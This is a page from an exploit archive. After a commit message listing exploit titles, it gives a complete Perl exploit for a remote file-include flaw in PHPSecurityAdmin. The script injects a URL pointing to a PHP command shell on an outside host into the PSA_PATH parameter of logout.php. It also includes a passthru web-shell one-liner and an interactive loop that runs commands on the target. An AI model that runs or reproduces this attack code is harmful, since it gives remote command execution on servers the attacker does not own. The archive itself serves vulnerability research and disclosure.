
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
107 lines
No EOL
3.7 KiB
Perl
Executable file
107 lines
No EOL
3.7 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/23801/info
|
|
|
|
PHPSecurityAdmin is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
|
|
|
|
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
|
|
|
|
#+**************************************************************
|
|
#+
|
|
#- PHPSecurityAdmin <= Remote File Include Exploit
|
|
#+
|
|
#+**************************************************************
|
|
#+
|
|
#- [Script name: PHPSecurityAdmin
|
|
#- [Script site: http://sourceforge.net/projects/phpsecurityadm/
|
|
#+
|
|
#+**************************************************************
|
|
#+
|
|
#- Coded by iLker Kandemir
|
|
#+
|
|
#- Contact: ilkerkandemir<at>mynet<dot>com
|
|
#-
|
|
#- info: */ Siz Yokken AYYILDIZ Vardi */
|
|
#+
|
|
#+**************************************************************
|
|
#+
|
|
#- tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG
|
|
#-
|
|
#- h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com
|
|
#!
|
|
#+
|
|
#+**************************************************************
|
|
# usage:
|
|
# perl exploit.pl <PSA Locaction> <shell location> <shell cmd>
|
|
#
|
|
# perl exploit.pl http://site.com/[PSA_Path]/ http://site.com/cmd.txt cmd
|
|
#
|
|
# cmd shell example: <?passthru($_GET[cmd]);?>
|
|
#
|
|
# cmd shell variable: ($_GET[cmd]);
|
|
#
|
|
$ayt = $ARGV[0];
|
|
|
|
$aytcmd = $ARGV[1];
|
|
|
|
$kumanda = $ARGV[2];
|
|
|
|
if($ayt!~/http:\/\// || $aytcmd!~/http:\/\// || !$kumanda){usage()}
|
|
|
|
head();
|
|
{
|
|
print "[shell] \$";
|
|
while(<STDIN>)
|
|
{
|
|
$cmd=$_;
|
|
chomp($cmd);
|
|
|
|
$xpl = LWP::UserAgent->new() or die;
|
|
|
|
$req = HTTP::Request->new(GET=>$ayt. '/phpsecurityadmin/include/logout.php?PSA_PATH='.$aytcmd.'?&'.$kumanda.'='.$cmd)or die "\nCouldNot connect\n";
|
|
$res = $xpl->request($req);
|
|
|
|
$return = $res->content;
|
|
$return =~ tr/[\n]/[ê]/;
|
|
|
|
if (!$cmd) {print "\nEnter a Command\n\n"; $return ="";}
|
|
|
|
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot executea blank command in <b>/)
|
|
|
|
{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
|
|
|
|
elsif ($return =~/^<br.\/>.<b>Warning/) {print "\nInvalid Command\n\n"}
|
|
|
|
if($return =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
|
|
{
|
|
|
|
$finreturn = $1;
|
|
$finreturn=~ tr/[ê]/[\n]/;
|
|
print "\r\n$finreturn\n\r";
|
|
last;
|
|
|
|
|
|
}
|
|
else {print "[shell] \$";}}}last;
|
|
sub head()
|
|
{
|
|
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
|
print "+ AYYILDIZ TEAM // AYYILDIZ.ORG +\n";
|
|
print "+ PHPSecurityAdmin <= Remote File Include Exploit +\n";
|
|
print "+ AYYILDIZ.ORG +\n";
|
|
print "+ iLker Kandemir [ O Bir Dunya Markasi ] +\n";
|
|
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
|
}
|
|
sub usage()
|
|
{
|
|
head();
|
|
print " Usage: perl exploit.pl <PSA Locaction> <shell location> <shell cmd>\r\n\n";
|
|
print " <PSA Locaction> - Full path to PSA ex: http://www.xxx-site.com/\r\n";
|
|
print " <shell location> - Path to cmd Shell e.g http://www.xxx-host.com/cmd.txt\r\n";
|
|
print " <shell cmd> - Command variable used in php shell \r\n";
|
|
print " ============================================================================\r\n";
|
|
print " Find by: iLker Kandemir \r\n";
|
|
print " ilkerkandemir@mynet.com \r\n";
|
|
print " Thnx:h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann \r\n";
|
|
print " ============================================================================\r\n";
|
|
|
|
exit();
|
|
} |